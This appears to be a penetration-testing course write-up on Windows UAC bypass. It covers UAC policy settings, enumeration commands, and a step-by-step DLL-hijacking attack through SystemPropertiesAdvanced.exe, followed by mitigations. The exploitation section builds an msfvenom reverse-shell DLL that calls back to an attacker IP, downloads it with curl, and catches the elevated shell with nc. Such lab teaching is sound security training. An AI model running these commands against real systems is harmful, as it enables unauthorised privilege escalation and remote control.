Windows Privilege Escalation — User Account Control (UAC) Bypass
User Account Control (UAC) gates elevated activities behind a consent prompt. Processes run at different integrity levels, and only high-integrity processes can perform actions that could compromise the system. With UAC enabled, applications/tasks run under a standard, non-administrator token by default, even for members of the Administrators group, unless elevation is explicitly granted. UAC is a convenience feature intended to protect admins from unintended changes — it is not a security boundary, but it does add friction/noise that can slow an attacker down.
With Admin Approval Mode (AAM) enabled, admin accounts (other than the built-in RID 500 Administrator, which always runs high-integrity) are issued two access tokens at logon: a filtered standard-user token (used by default) and a full admin token (used only after elevation is approved). Since there is no command-line equivalent of the GUI consent prompt, offensive operators must bypass UAC to get commands running under the privileged token non-interactively.
UAC behavior is controlled by 10 Group Policy settings (secpol.msc locally, or pushed via GPO in AD):
| Group Policy Setting | Registry Key | Default |
|---|---|---|
| Admin Approval Mode for the built-in Administrator account | FilterAdministratorToken | Disabled |
| Allow UIAccess applications to prompt for elevation without the secure desktop | EnableUIADesktopToggle | Disabled |
| Behavior of the elevation prompt for administrators in AAM | ConsentPromptBehaviorAdmin | Prompt for consent (non-Windows binaries) |
| Behavior of the elevation prompt for standard users | ConsentPromptBehaviorUser | Prompt for credentials on secure desktop |
| Detect application installations and prompt for elevation | EnableInstallerDetection | Enabled (home) / Disabled (enterprise) |
| Only elevate executables that are signed and validated | ValidateAdminCodeSignatures | Disabled |
| Only elevate UIAccess applications installed in secure locations | EnableSecureUIAPaths | Enabled |
| Run all administrators in Admin Approval Mode | EnableLUA | Enabled |
| Switch to the secure desktop when prompting for elevation | PromptOnSecureDesktop | Enabled |
| Virtualize file and registry write failures to per-user locations | EnableVirtualization | Enabled |
Enumeration
Confirm current token/privileges and admin group membership:
C:\htb> whoami /user
C:\htb> net localgroup administrators
C:\htb> whoami /priv
Confirm UAC is enabled:
C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
EnableLUA REG_DWORD 0x1
Check the prompt behavior for admins — 0x5 is the strictest (“Always Notify”) setting, with fewer known bypasses:
C:\htb> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
ConsentPromptBehaviorAdmin REG_DWORD 0x5
Identify the exact Windows build, since UAC bypasses are build-specific:
PS C:\htb> [environment]::OSVersion.Version
Cross-reference the build number against a Windows release table to find the version/codename, then check the UACME project for a matching bypass technique (it lists affected builds, method, and whether Microsoft patched it).
Exploitation — Auto-Elevate Binary + DLL Hijacking (UACME #54)
Windows ships “auto-elevating” trusted binaries that can gain high integrity without a prompt. The 32-bit SystemPropertiesAdvanced.exe (C:\Windows\SysWOW64\) attempts to load a non-existent srrstr.dll (normally used by System Restore). DLL search order falls back through PATH directories if the DLL isn’t found earlier, and the user-writable WindowsApps folder is on PATH:
PS C:\htb> cmd /c echo %PATH%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\
Planting a malicious srrstr.dll there causes it to load in the auto-elevated (high-integrity) context when the trusted binary runs.
- Generate the malicious DLL:
rnemeth@htb[/htb]$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
- Host and deliver it to the writable PATH directory on the target:
rnemeth@htb[/htb]$ sudo python3 -m http.server 8080
PS C:\htb> curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
- (Optional) validate the payload at standard-user integrity, then kill the test process:
C:\htb> rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
C:\htb> tasklist /svc | findstr "rundll32"
C:\htb> taskkill /PID <pid> /F
- Trigger the auto-elevating binary to load the planted DLL in a high-integrity context:
C:\htb> C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
- Catch the elevated shell:
rnemeth@htb[/htb]$ nc -lvnp 8443
The returned shell’s whoami /priv shows additional enabled privileges (e.g. SeImpersonatePrivilege, SeCreateGlobalPrivilege) compared to the original standard-user token, confirming successful elevation.
Mitigations
- Set
ConsentPromptBehaviorAdminto Always Notify (0x5) — reduces the pool of working bypass techniques. - Enable
ValidateAdminCodeSignaturesto block unsigned auto-elevating binaries. - Restrict write access to user-writable PATH directories (e.g.
%LOCALAPPDATA%\Microsoft\WindowsApps). - Treat UAC as defense-in-depth, not a trust boundary — don’t rely on it alone to separate standard and admin activity.